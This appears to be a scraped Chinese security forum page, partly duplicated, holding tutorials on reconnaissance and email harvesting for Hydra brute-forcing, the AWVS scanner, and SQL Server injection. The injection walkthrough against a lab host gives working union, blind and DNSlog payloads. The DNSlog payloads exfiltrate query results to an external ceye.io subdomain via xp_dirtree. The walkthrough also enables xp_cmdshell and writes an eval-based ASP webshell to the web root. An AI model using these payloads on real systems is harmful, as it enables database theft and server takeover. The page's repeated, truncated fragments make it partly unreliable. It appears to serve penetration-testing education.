-d 参数指定目标域
-l 参数指定数量
-b 参数指定端口
-s 指定起始数值
TheHarvester+Hydra可以大量扫描弱口令账户。
也可以使用metasploit的 auxiliary/gather/search_email_collector 模块:
msfconsole打开MSF控制台,输入use auxiliary/gather/search_email_collector,然后set domain XXmail.com设置目标邮件网站,然后show options显示搜索来源,exploit
目前使用菜单内的google选项去搜索邮箱需要翻墙,直接用如图。
两种方法都可以将结果保存为文件然后使用hydra爆破。
(7)历史漏洞信息
虽然乌云关了但是镜像上面还有大量企业漏洞信息,此外CNVD,seebug等平台
也能查找一些企业历史漏洞信息。
0X05:人力资源情报收集
(1)招聘信息
用google从招聘网站找到信息再去查找企业信息
通过招聘信息我们找到了公司全称和负责人构成和邮箱电话等信息。
通过这些信息可以与前面的WHOIS反查结合。
社会工程学方面的知识太繁杂就先不讨论了。
参考:
https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/
https://www.secpulse.com/archives/74312.html
https://www.freebuf.com/articles/web/190403.html
http://www.davex.pw/2016/07/01/How-To-Fuzz-Sub-Domain/
https://www.freebuf.com/articles/web/179043.html
https://cloud.tencent.com/developer/article/1180157
https://klionsec.github.io/2014/12/22/email-collector/
https://www.secpulse.com/archives/69237.html
https://yq.aliyun.com/articles/366927
https://www.secpulse.com/archives/29475.html
http://www.lijiejie.com/ds_store_exp_ds_store_file_disclosure_exploit/
https://zhuanlan.zhihu.com/p/22161675
https://zhuanlan.zhihu.com/p/22407076
https://www.jianshu.com/p/d2af08e6f8fb
https://blog.csdn.net/zvall/article/details/50115815 查看全部
信息收集分类:
1、主动式信息搜集(可获取到的信息较多,但易被目标发现)
2、通过直接发起与被测目标网络之间的互动来获取相关信息,如通过Nmap扫描目标系统。
3、被动式信息搜集(搜集到的信息较少,但不易被发现,如通过搜索引擎搜索)
4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。
搜集什么信息
1、whois信息
2、网站架构(语言、中间件、数据库、平台)
3、dns信息(通过查询dns可以检测是否存在dns域传送和域行走)
4、子域名搜集(搜索引擎和工具以及漏洞)
5、敏感目录及敏感信息、源码泄露(搜索引擎+工具、GitHub等)
6、系统漏洞(系统版本漏洞是否修补)
7、旁站查询(通过IP反查)
8、C端查询(确认大公司或组织网段内子站)
9、指纹信息(框架探测)
10、端口服务
11、备案信息(whois反查、)
12、真实ip(绕过CDN)
13、探测waf(后续可确定Bypass方式)
14、社工(朋友圈、微博、qq空间、求职、交易等社交平台)
15、企业信息(天眼查、企业信用信息公示系统、工业和信息化部ICP/IP地址/域名信息备案管理系统)
信息搜集的流程
上面我已经列举了需要搜集的信息,然后我给它们分了一下类。
我考虑到一个网站的组成是由域名、服务器、网站程序组成的。
因此:
首先入手域名方面:whois、子域名、备案信息;
其次是入手服务器方面:dns信息、端口服务、真实ip;
然后入手网站程序(web层)方面:网站架构、敏感目录及敏感信息、源码泄露(搜索引擎+工具)、脆弱系统(网络空间)、旁站查询、C段查询、指纹信息、探测waf;
最后入手企业方面:天眼查、企业信用信息公示系统
0x00:IP发现
- 1.IP反查域名(查询旁站)
- http://www.ip-adress.com/reverse_ip
- http://www.7c.com/
- https://dns.aizhan.com/
- https://tools.ipip.net/ipdomain.php
- http://www.webscan.cc/
- http://dns.bugscaner.com/
- 2.域名查询IP
- http://www.webscan.cc/
- http://www.yunsee.cn/
- https://www.whatweb.net/
- http://ip.tool.chinaz.com/
- http://dns.bugscaner.com/
- 内部邮箱源(让服务器给你发邮件看邮件头IP)(最可靠)
- 通过zmpap全网爆破查询真实IP(可靠)
- 扫描网站测试文件
- 分站域名(根据收集分站查看产生交互最多的站)
- 国外访问(App Synthetic Monitor)
- 查询域名解析记录(NETCRAFT)(查询域名历史IP)
- 如果网站有 App,抓 App 的请求
- 绕过 CloudFlare CDN 查找真实 IP(CloudFlareWatch)
- 3.IP WHOIS查询
IP WHOIS就是查询IP的详细信息的数据库(如IP使用人和IP使用人的相关信息等)。
- http://www.guoxue.com/whois/index.php
- http://whois.bugscaner.com/
- https://www.whois.com/whois
- https://www.cxw.com/
- 4.C端存活主机探测
- https://phpinfo.me/bing.php
- http://cduan.cc/c/
- http://www.webscan.cc/
- https://github.com/se55i0n/Cwebscanner
Nmap: nmap -sP www.XXX.com/24 || nmap -sP 192.168.1.*
- 5.C段常见端口探测
- (1)最笨的方法:C段导入到文件,nmap扫描。
- (2)其他工具
- Masscan安装和使用:
- 1.子域名发现
开始渗透一个网站前,需要知道网站的网络资产:域名、IP等,而IP和域名有着直接的解析关系,所以如何找到网站所有子域名是关键。
- (1)DNS枚举(根据字典爆破)
域名可以通过收集常用域名字典,去DNS服务商查询是否有解析记录来枚举子域名。很多工具都是通过预定义的字典枚举:如Lay子域名挖掘机,subbrute等。
DNS服务商的字典是最准确有效的,先找到一份DNSPod公布的使用最多的子域名:dnspod-top2000-sub-domains.txt//GitHub上的
- (2)自身泄露
可通过https://github.com/FeeiCN/WebProxy代理电脑所有流量,从流量中搜索出现交互的子域名,如域名跳转、Response、网络请求中的子域名。缺点:麻烦且没产生交互的子域名无法探测,略鸡肋。
- (3)搜索引擎
使用百度,bing,Google等搜索引擎,可通过site关键字查询所有收录该域名的记录,子域名权重较高会排在前面。具体规则网上很多,可参考: https://zhuanlan.zhihu.com/p/22161675https://www.freebuf.com/articles/network/169601.html具体使用:以 secevery 为例,可以通过搜索 site:secevery.com 来得到指定的网站内容。
- (4)第三方查询
- (5)crossdomain.xml
- (6)Google HTTPS证书信息
- (7)自治系统编号(ASN)
- (8)利用域传送漏洞
- (9) FDNS(forward DNS,DNS转发)
- https://registry.opendata.aws/rapid7-fdns-any/
- https://github.com/rapid7/sonar/wiki/Forward-DNS//GitHub说明
- (10)zone walking(NSEC)区域行走
- 2.关联域名发现
- (1)注册人和邮箱反查域名
- https://whois.chinaz.com/
- http://whois.4.cn/reverse
- https://whois.aizhan.com/reverse-whois/
- http://www.langongju.com/domain/reverse
- (2)相似域名查询
- https://www.whois.net/
- https://typoku.com.cutestat.com/
- https://github.com/elceef/dnstwist//相似、钓鱼域名检测。
- 1、快速判断端口是否开启:
- 2、对服务器的信息进行详细的收集:
- 0X03:网站信息收集
- 1、指纹识别
- 2、waf识别:
- 2、敏感路径探测
- 1、Git源码泄露
- 2、SVN源码泄露
- 3、网站文件备份
- 0X04:互联网信息收集
- (1)google和GitHub
- intext:后台登录
- intitle:管理登录
- filetype: pdf
- inurl: php?id=
- filetype:php site:secevery.com查找secevery中的PHP文件
- (2)shodan搜索引擎
- hostname: 搜索指定的主机或域名,例如 hostname:”google”
- port: 搜索指定的端口或服务,例如 port:”21”
- country: 搜索指定的国家,例如 country:”CN”
- city: 搜索指定的城市,例如 city:”NanYang”
- org: 搜索指定的组织或公司,例如 org:”google”
- isp: 搜索指定的ISP供应商,例如 isp:”China Telecom”
- product: 搜索指定的操作系统/软件/平台,例如 product:”Apache httpd”
- version: 搜索指定的软件版本,例如 version:”1.6.2”
- geo: 搜索指定的地理位置,例如 geo:”31.8639, 117.2808”
- before/after: 搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:”11-11-15”
- net: 搜索指定的IP地址或子网,例如 net:”210.45.240.0/24”
- (3)censys搜索引擎
- 23.0.0.0/8 or 8.8.8.0/24 可以使用and or not
- 80.http.get.status_code: 200 指定状态
- 80.http.get.status_code:[200 TO 300] 200-300之间的状态码
- location.country_code: DE 国家
- protocols: (“23/telnet” or “21/ftp”) 协议
- tags: scada 标签
- 80.http.get.headers.server:nginx 服务器类型版本
- autonomous_system.description: University 系统描述
- (4)FoFa搜索引擎
- title="abc" 从标题中搜索abc。
- header="abc" 从http头中搜索abc。
- body="abc" 从html正文中搜索abc。
- domain="secevery.com" 搜索根域名带有secevery.com的网站。
- host=".gov.cn" 从url中搜索.gov.cn,注意搜索要用host作为名称。
- port="443" 查找对应443端口的资产。
- ip="1.1.1.1" 从ip中搜索包含1.1.1.1的网站,注意搜索要用ip作为名称。 如果想要查询网段,可以是:ip="192.168.111.1/24",
- protocol="https" 搜索制定协议类型(在开启端口扫描的情况下有效)。
- city="Beijing" 搜索指定城市的资产。
- region="Henan" 搜索指定行政区的资产。
- country="CN" 搜索指定国家(编码)的资产。
- cert="google.com" 搜索证书(https或者imaps等)中带有google.com的资产。
- banner=users && protocol=ftp 搜索FTP协议中带有users文本的资产。
- type=service 搜索所有协议资产,支持subdomain和service两种。
- os=windows 搜索Windows资产。例: 搜索Windows资产
- server=="Microsoft-IIS/7.5" 搜索IIS 7.5服务器。例: 搜索IIS 7.5服务器
- app="海康威视-视频监控" 搜索海康威视设备,更多app规则。例: 搜索海康威视设备
- after="2017" && before="2017-10-01" 时间范围段搜索。例: 时间范围段搜索
- 高级搜索:可以使用括号 和 && || !=等符号,如
- title="powered by" && title!=discuz
- title!="powered by" && body=discuz
- ( body="content=\"WordPress" || (header="X-Pingback" && header="/xmlrpc.php" && body="/wp-includes/") ) && host="gov.cn"
- 新增==完全匹配的符号,可以加快搜索速度,比如查找qq.com所有host,可以是domain=="qq.com"
- (5)钟馗之眼(Zoomeye)
- app:nginx 组件名
- ver:1.0 版本
- os:windows 操作系统
- country:”China” 国家
- city:”hangzhou” 城市
- port:80 端口
- hostname:google 主机名
- site:thief.one 网站域名
- desc:nmask 描述
- keywords:nmask’blog 关键词
- service:ftp 服务类型
- ip:8.8.8.8 ip地址
- cidr:8.8.8.8/24 ip地址段
- (6)邮箱收集
--首先确定邮件服务器本身有没有什么错误配置,没有禁用VRFY或EXPN命令导致的用户信息泄露,如果有可以直接把目标的邮件用户都爆出来,也可以尝试弱口令。
--收集目标的各类webmail入口。
找目标的各种webmail入口,不一定有,但这也是为了后面一旦拿到密码尝试撞库的手段,如果用的是某种开源WEB邮件程序,也可以尝试找对应版本的exp。
--提取whois邮箱去搜索引擎搜索,拿到旧密码可以去社工库去撞库。
--直接从目标站点查找邮箱。一般的网站都有的"联系我们"之类的链接或许就是邮箱,当然如果是[email]support@target.com[/email]或者[email]info@target.com[/email]这种邮箱直接忽略,我们需要有互动的邮箱,拿到后都试一试撞一撞库和搜索引擎跑一跑。
---利用各种工具直接抓取目标邮箱
theharvester:一个比较老的邮箱抓取脚本,主要是从各种搜索引擎抓取邮箱,抓取后的文档杂乱需要自己筛选分析。
https://github.com/laramies/theHarvester下载或者Kali直接运行。
-d 参数指定目标域
-l 参数指定数量
-b 参数指定端口
-s 指定起始数值
TheHarvester+Hydra可以大量扫描弱口令账户。
也可以使用metasploit的 auxiliary/gather/search_email_collector 模块:
msfconsole打开MSF控制台,输入use auxiliary/gather/search_email_collector,然后set domain XXmail.com设置目标邮件网站,然后show options显示搜索来源,exploit
目前使用菜单内的google选项去搜索邮箱需要翻墙,直接用如图。
两种方法都可以将结果保存为文件然后使用hydra爆破。
(7)历史漏洞信息
虽然乌云关了但是镜像上面还有大量企业漏洞信息,此外CNVD,seebug等平台
也能查找一些企业历史漏洞信息。
0X05:人力资源情报收集
(1)招聘信息
用google从招聘网站找到信息再去查找企业信息
通过招聘信息我们找到了公司全称和负责人构成和邮箱电话等信息。
通过这些信息可以与前面的WHOIS反查结合。
社会工程学方面的知识太繁杂就先不讨论了。
参考:
https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/
https://www.secpulse.com/archives/74312.html
https://www.freebuf.com/articles/web/190403.html
http://www.davex.pw/2016/07/01/How-To-Fuzz-Sub-Domain/
https://www.freebuf.com/articles/web/179043.html
https://cloud.tencent.com/developer/article/1180157
https://klionsec.github.io/2014/12/22/email-collector/
https://www.secpulse.com/archives/69237.html
https://yq.aliyun.com/articles/366927
https://www.secpulse.com/archives/29475.html
http://www.lijiejie.com/ds_store_exp_ds_store_file_disclosure_exploit/
https://zhuanlan.zhihu.com/p/22161675
https://zhuanlan.zhihu.com/p/22407076
https://www.jianshu.com/p/d2af08e6f8fb
https://blog.csdn.net/zvall/article/details/50115815
AWVS 11使用
flaray 发表了文章 • 0 个评论 • 631 次浏览 • 2019-07-11 17:57
0X02:Targets:目标。
点击Add Target添加目标。
0x03:General:一般扫描。
基础设置完成点击"scan"开始扫描目标网站。
使用登录序列记录器得到了登录凭证
基础设置完成点击"scan"开始扫描目标网站
扫描类型有:完全扫描、高风险漏洞扫描、XSS扫描、SQL注入扫描、弱口令扫描等。
报告生成类型:受影响人、开发人员、执行人员、快报和一些专业报告如CWE 2011报告。
然后等待扫描结果生成。
0x04:Vulnerabilities:漏洞
包含不同分类的漏洞和生成报告
0X05:Reports 报告
报告的生成与导出。注:导出的报告是英文的。
查看全部
0X02:Targets:目标。
点击Add Target添加目标。
0x03:General:一般扫描。
基础设置完成点击"scan"开始扫描目标网站。
使用登录序列记录器得到了登录凭证
基础设置完成点击"scan"开始扫描目标网站
扫描类型有:完全扫描、高风险漏洞扫描、XSS扫描、SQL注入扫描、弱口令扫描等。
报告生成类型:受影响人、开发人员、执行人员、快报和一些专业报告如CWE 2011报告。
然后等待扫描结果生成。
0x04:Vulnerabilities:漏洞
包含不同分类的漏洞和生成报告
0X05:Reports 报告
报告的生成与导出。注:导出的报告是英文的。
SQL server 注入小结
llpkk 发表了文章 • 0 个评论 • 1470 次浏览 • 2019-07-10 16:58
(1)了解SQL server 系统库
(2)学习master库中的三个视图
(3)注释符以及各种信息探测
(4)如何利用top进行单行查询
2.UNION 联合查询注入
3.SQL server 的报错注入
(1)收集各种bypass
(2)having语法注入
4.SQL server 盲注
(1)正常的布尔盲注或时间盲注
(2)DNSlog注入---首选
5.开启xp_cmdshell到获取webshell
Tip:测试环境为win server 2008
中间件:iis7.5 数据库版本:SQL server 2008
------------------------------------------------------------
0x00 SQL server 的基础知识部分
1.系统库的简介
Sqlserver数据库有四个系统数据库,分别是master,model,msdb,tempdb。我们最经常使用到的时master库,它与MySQL中的information_schema库有几分相似,都存储了所有数据库库名(sysdatabases),表名(sysobjects),字段名(syscolumns)。
而我们在注入的过程当中就要用的master库中的这三个视图,无论是联合查询注入还是盲注与DNSlog注入都离不开这三个视图表。
系统库简述:
master 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。model SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础msdb 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。tempdb 它为临时表和其他临时工作提供了一个存储区。2.三个视图的简单使用(sysdatabases,sysobjects,syscolumns)(1)查询所有的数据库名select *from master..sysyatabases
这条语句会显示出数据库的所有信息,其中我们应用到的有name和dbid这俩个字段。而我们通常只需要知道名称即可,所以用到了如下语句:select name from master..sysdatabases
(2)查询数据库中所有的表名select name from master..sysobjects where Xtypee = 'x'
(3)查询表中所有的列名select * from databases..table例如:select * from test..test
(4)查询字段select * from test..syscolumns where xtype=167
Tip:在对sysobjects和syscolumns使用的时候我们需要增加一个xtype作为限制条件,而在两个视图当中也都有着不同的含义。具体参照:https://www.cnblogs.com/zhaomengmeng/p/4933828.html 3.注释符以及各种信息探测(1)注释风格/*-- 常用;(2)空白格字符(多用来绕过WAF)01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,1415,16,17,18,19,1A,1B,1C,1D,1E,1F,20/**/(3)常用运算符号+ 加法运算- 减法运算* 乘法运算/ 除法运算& 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0| 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0(4)基础信息探测@@VERSION,@@SERVERNAME,@@SERVICENAME;--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008--MSSQLSERVERUSER,CURRENT_USER,SESSION_USER,SYSTEM_USER;--dbo--dbo--dbo--saUSER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();--dbo--wyb--46530--saUSER_ID(),USER_SID();--1--<01>ORIGINAL_LOGIN();--sa 4.利用top进行限制查询在mysql注入中我们会遇到一行不能够显示多列的情况,解决的方法是利用limit m,n进行控制,将数据逐行输出。而在SQL server中也有这样的情况(尤其是利用DNSlog注入时),我们就可以用如下两种方法做到与limit m,n 同样的效果①:在查询数据库名称时利用dbid进行限制查询由于dbid是系统数据库所特有的,所有可以依次从1到n注出所有的数据库名
②:在查询表和字段时利用top语法进行查询在sysobjects和syscolumns视图当拥有大量的数据,如果依据id值进行限制会非常的繁琐,浪费时间。所以可以用到如下sql查询语法:取第m条到第n条记录 select top (n-m+1) id from tablename where id not in ( select top m-1 id from tablename )具体利用:
这样我们在DNSlog注入时才能拼接完整的payload 0x01 UNION SELECT 联合查询注入SQL server中的联合查询注入和MySQL中的联合查询注入非常相似,但是也有不同的地方。相同点是都必须要有回显位,并且要与列数相同。不同的是MySQL占位符一般用1,2,3,4数字,而SQL server中要用到null作为占位符。因为如果用数字的话会牵扯到隐式转化的问题而导致无法有正常的回显。联合查询注入过程:首先利用 order by 语句查询出有几列
查询出有4列后进行联合查询注入 ,首先查出所有数据库名。
之后爆出test库下的所有表
爆出message表下的所有字段
之后可以任意的查询字段值了 0x02 SQL server 的报错注入报错注入相对简单很多,但前提是网站管理员打开了报错界面的详细信息,而对于粗心的管理员的话就非常有可能忘记关闭了。在报错注入中我们最重要的是收集一些bypass,如果碰到WAF也可以尝试绕过. http://zone.secevery.com/article/1055这是上次在社区发的mssql报错注入,这里就不再赘述。 利用having语法注入如果页面开启了报错页面的详细信息,我们也可以用having语法直接爆出列名,利用手法是在每一次爆出列名后再加上爆出的列名一直进行。
爆出列名id,我们利用group by构造出如下语句爆出下一个列名
之后依次爆出所有的列名之后页面就会返回正常页面
0x03 SQL server 盲注大多数的站很少会开启报错页面,盲注是比较常见的类型。基本的盲注分为布尔型盲注和时间盲注,但这两种注入都非常浪费时间,解决盲注时间问题的方法无非是写脚本或者利用DNSlog,而DNSlog注入的方式会大大减少注入的时间,所以也是首选的方法。在sql server中布尔盲注也没有太多的手法,依然是分割字符串并用ascii函数和二分法进行比较依次得出整个字符串。而用到的语句也是在0x00中写到的最基本的三个视图的基本利用。1.普通盲注payload:and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109其中的select top 1 name from master.dbo.sysdatabases 就是我们要查询的内容并且进行分割,方法很直白,不进行演示。2.DNSlog注入DNSlog注入的基本原理是将查询出来的字符进行拼接之后进行访问xxxxx.ceye.io及其子域名,产生出DNSlog日志,通过查看日志我们就可以看到我们所查询出来的内容。而在这时,我们学习的单行查询就很重要了,因为在拼接URL的时候,只能拼接一个单词作为子域名进行访问,如果是多个的话就不会产生DNS日志。这里有一个知道创宇的DNS平台:http://ceye.io SQL server 的DNSlog注入语句;use flag;declare @a char(128);set @a='\\'%2b(select top 1 * from tt_tmp)%2b'.py88oq.ceye.io';exec master..xp_dirtree @a;演示:查出第一个数据库的库名为master
然后我们利用sysdatabases的dbid字段查询处dbid=5时的用户创建的数据库为testhttp://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=5)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--
查出test的各个表名http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20top%201%20name%20from%20test..sysobjects%20where%20xtype=%27U%27)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--
可以看出表message,test,tt_tmp
DNSlog注入还可以对MySQL,oracle数据库还有一些CMS都有利用,非常强大。具体的注入细节问题访问:https://www.jianshu.com/p/ba52cf6e47db 0x04 开启xp_cmdshell获取webshellxp_cmdshell在SQL server 2005版本以上是默认关闭的,我们需要手动打开它,但在此之前我们需要进行第一步:判断是否存在组件xp_cmdshell;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'如果延迟5s后返回正常页面的话则判断存在组件xp_cmdshell。如果删除了xp_cmdshell组件的话可以用下面的命令恢复恢复/删除 xp_cmdshellexec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'exec sp_dropextendedproc 'xplog70.dll'开启xp_cmdshell# 关闭xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;# 启用xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;成功开启xp_cmdshell之后,我们要进行的最重要的一步就是找到网站的根路径,这里也是较难的一点。下面有两种方法:找到报错页面得到物理路径,如404页面。查找网站文件并把路径写入到临时表当中
1.对于一些粗心的网站管理员可能404等错误页面是iis默认的报错页面,而这个报错页面就会暴露出网站的物理路径,此时我们就可以写一个shell文件进去。
2.在大佬博客上看到的找物理路径的方法是找到一个网站文件,将其路径写入临时表后再使用sqlmap跑出来。具体思路如下:
在数据库tempdb创建临时表temp;use test;create table tt_tmp (tmp1 varchar(1000));创建完成之后使用sqlmap可以看到成功创建表temp
Sqlmap命令: python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test --tables
之后我们将char.asp文件的路径写入到该字段当中;use test;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b c:\char.asp';
(加粗【c:\char.asp】部分的c盘是测试出来的,总共就C,D,E,F几个盘,依次试一试就能成功)
这个语句回车之后的响应时间会稍微长一点,是因为将很数据插入到表中需要一定时间
Sqlmap命令:python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test -T tt_tmp -C tmp1 --dump
这样我们成功的查询到了网站的根路径,随后我们尝试写入一句话;exec master..xp_cmdshell 'echo ^<script language=vbs runat=server^>eval(request("c"))^</script^> > c:\\inetpub\\wwwroot\\shell.asp';执行之后返回正常界面,我们访问192.168.10.19/shell.asp观察
返回状态码200,asp内容已经被成功解析,查看靶机是否被成功写入。
成功写入一句话木马,尝试才到连接
成功获取webshell
0x05 总结
这次总结的sql server 注入的过程中踩过很多的坑,并且再讲的过程中老师也给出了答案并且给了很多的补充和新的想法。在利用系统视图查看用户数据库信息时也可以通过别的视图更加方便的查找到数据。
查看表名:select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0查看字段名:select top 1 COLUMN_NAME from 【数据库名称】.information_schema.columns where TABLE_NAME='【表名称】'
总结一遍下来感觉自己的知识还需要更加巩固,学习的东西还有很多,而我也会在采坑的过程中成长。
参考文献:
http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell/
微信公众号---安全祖师爷
https://www.jianshu.com/p/ba52cf6e47db
https://www.cnblogs.com/zhaomengmeng/p/4933828.html
查看全部
(1)了解SQL server 系统库
(2)学习master库中的三个视图
(3)注释符以及各种信息探测
(4)如何利用top进行单行查询
2.UNION 联合查询注入
3.SQL server 的报错注入
(1)收集各种bypass
(2)having语法注入
4.SQL server 盲注
(1)正常的布尔盲注或时间盲注
(2)DNSlog注入---首选
5.开启xp_cmdshell到获取webshell
Tip:测试环境为win server 2008
中间件:iis7.5 数据库版本:SQL server 2008
------------------------------------------------------------
0x00 SQL server 的基础知识部分
1.系统库的简介
Sqlserver数据库有四个系统数据库,分别是master,model,msdb,tempdb。我们最经常使用到的时master库,它与MySQL中的information_schema库有几分相似,都存储了所有数据库库名(sysdatabases),表名(sysobjects),字段名(syscolumns)。
而我们在注入的过程当中就要用的master库中的这三个视图,无论是联合查询注入还是盲注与DNSlog注入都离不开这三个视图表。
系统库简述:
- master 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
- model SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
- msdb 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
- tempdb 它为临时表和其他临时工作提供了一个存储区。
select *from master..sysyatabases这条语句会显示出数据库的所有信息,其中我们应用到的有name和dbid这俩个字段。而我们通常只需要知道名称即可,所以用到了如下语句:
select name from master..sysdatabases(2)查询数据库中所有的表名
select name from master..sysobjects where Xtypee = 'x'(3)查询表中所有的列名
select * from databases..table例如:select * from test..test (4)查询字段
select * from test..syscolumns where xtype=167Tip:在对sysobjects和syscolumns使用的时候我们需要增加一个xtype作为限制条件,而在两个视图当中也都有着不同的含义。具体参照:https://www.cnblogs.com/zhaomengmeng/p/4933828.html 3.注释符以及各种信息探测(1)注释风格
- /*
- -- 常用
- ;
- 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,1415,16,17,18,19,1A,1B,1C,1D,1E,1F,20
- /**/
- + 加法运算
- - 减法运算
- * 乘法运算
- / 除法运算
- & 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0
- | 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0
- ^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0
@@VERSION,@@SERVERNAME,@@SERVICENAME;--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008--MSSQLSERVERUSER,CURRENT_USER,SESSION_USER,SYSTEM_USER;--dbo--dbo--dbo--saUSER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();--dbo--wyb--46530--saUSER_ID(),USER_SID();--1--<01>ORIGINAL_LOGIN();--sa4.利用top进行限制查询在mysql注入中我们会遇到一行不能够显示多列的情况,解决的方法是利用limit m,n进行控制,将数据逐行输出。而在SQL server中也有这样的情况(尤其是利用DNSlog注入时),我们就可以用如下两种方法做到与limit m,n 同样的效果①:在查询数据库名称时利用dbid进行限制查询由于dbid是系统数据库所特有的,所有可以依次从1到n注出所有的数据库名 ②:在查询表和字段时利用top语法进行查询在sysobjects和syscolumns视图当拥有大量的数据,如果依据id值进行限制会非常的繁琐,浪费时间。所以可以用到如下sql查询语法:取第m条到第n条记录 select top (n-m+1) id from tablename where id not in ( select top m-1 id from tablename )具体利用: 这样我们在DNSlog注入时才能拼接完整的payload 0x01 UNION SELECT 联合查询注入SQL server中的联合查询注入和MySQL中的联合查询注入非常相似,但是也有不同的地方。相同点是都必须要有回显位,并且要与列数相同。不同的是MySQL占位符一般用1,2,3,4数字,而SQL server中要用到null作为占位符。因为如果用数字的话会牵扯到隐式转化的问题而导致无法有正常的回显。联合查询注入过程:首先利用 order by 语句查询出有几列 查询出有4列后进行联合查询注入 ,首先查出所有数据库名。 之后爆出test库下的所有表 爆出message表下的所有字段 之后可以任意的查询字段值了 0x02 SQL server 的报错注入报错注入相对简单很多,但前提是网站管理员打开了报错界面的详细信息,而对于粗心的管理员的话就非常有可能忘记关闭了。在报错注入中我们最重要的是收集一些bypass,如果碰到WAF也可以尝试绕过. http://zone.secevery.com/article/1055这是上次在社区发的mssql报错注入,这里就不再赘述。 利用having语法注入如果页面开启了报错页面的详细信息,我们也可以用having语法直接爆出列名,利用手法是在每一次爆出列名后再加上爆出的列名一直进行。 爆出列名id,我们利用group by构造出如下语句爆出下一个列名 之后依次爆出所有的列名之后页面就会返回正常页面 0x03 SQL server 盲注大多数的站很少会开启报错页面,盲注是比较常见的类型。基本的盲注分为布尔型盲注和时间盲注,但这两种注入都非常浪费时间,解决盲注时间问题的方法无非是写脚本或者利用DNSlog,而DNSlog注入的方式会大大减少注入的时间,所以也是首选的方法。在sql server中布尔盲注也没有太多的手法,依然是分割字符串并用ascii函数和二分法进行比较依次得出整个字符串。而用到的语句也是在0x00中写到的最基本的三个视图的基本利用。1.普通盲注payload:
and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109其中的select top 1 name from master.dbo.sysdatabases 就是我们要查询的内容并且进行分割,方法很直白,不进行演示。2.DNSlog注入DNSlog注入的基本原理是将查询出来的字符进行拼接之后进行访问xxxxx.ceye.io及其子域名,产生出DNSlog日志,通过查看日志我们就可以看到我们所查询出来的内容。而在这时,我们学习的单行查询就很重要了,因为在拼接URL的时候,只能拼接一个单词作为子域名进行访问,如果是多个的话就不会产生DNS日志。这里有一个知道创宇的DNS平台:http://ceye.io SQL server 的DNSlog注入语句
;use flag;declare @a char(128);set @a='\\'%2b(select top 1 * from tt_tmp)%2b'.py88oq.ceye.io';exec master..xp_dirtree @a;演示:查出第一个数据库的库名为master 然后我们利用sysdatabases的dbid字段查询处dbid=5时的用户创建的数据库为test
http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=5)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--查出test的各个表名
http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20top%201%20name%20from%20test..sysobjects%20where%20xtype=%27U%27)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--可以看出表message,test,tt_tmp DNSlog注入还可以对MySQL,oracle数据库还有一些CMS都有利用,非常强大。具体的注入细节问题访问:https://www.jianshu.com/p/ba52cf6e47db 0x04 开启xp_cmdshell获取webshellxp_cmdshell在SQL server 2005版本以上是默认关闭的,我们需要手动打开它,但在此之前我们需要进行第一步:判断是否存在组件xp_cmdshell
